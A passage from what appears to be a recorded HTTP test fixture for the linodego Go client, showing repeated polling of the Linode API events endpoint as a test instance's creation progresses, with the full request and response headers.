X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 2, "time_remaining": null, "rate": null, "duration": 4.874183, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 2, "time_remaining": null, "rate": null, "duration": 4.946148, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 5, "time_remaining": null, "rate": null, "duration": 5.010879, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 5, "time_remaining": null, "rate": null, "duration": 5.078869, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 5, "time_remaining": null, "rate": null, "duration": 5.186663, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 5, "time_remaining": null, "rate": null, "duration": 5.24891, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "545" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 5, "time_remaining": null, "rate": null, "duration": 5.308269, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 5.634991, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 5.697387, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 36, "time_remaining": null, "rate": null, "duration": 6.204765, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 36, "time_remaining": null, "rate": null, "duration": 6.259861, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 36, "time_remaining": null, "rate": null, "duration": 6.319656, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 36, "time_remaining": null, "rate": null, "duration": 6.381802, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 36, "time_remaining": null, "rate": null, "duration": 6.786831, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 36, "time_remaining": null, "rate": null, "duration": 6.845268, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 36, "time_remaining": null, "rate": null, "duration": 6.910015, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 36, "time_remaining": null, "rate": null, "duration": 6.973874, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 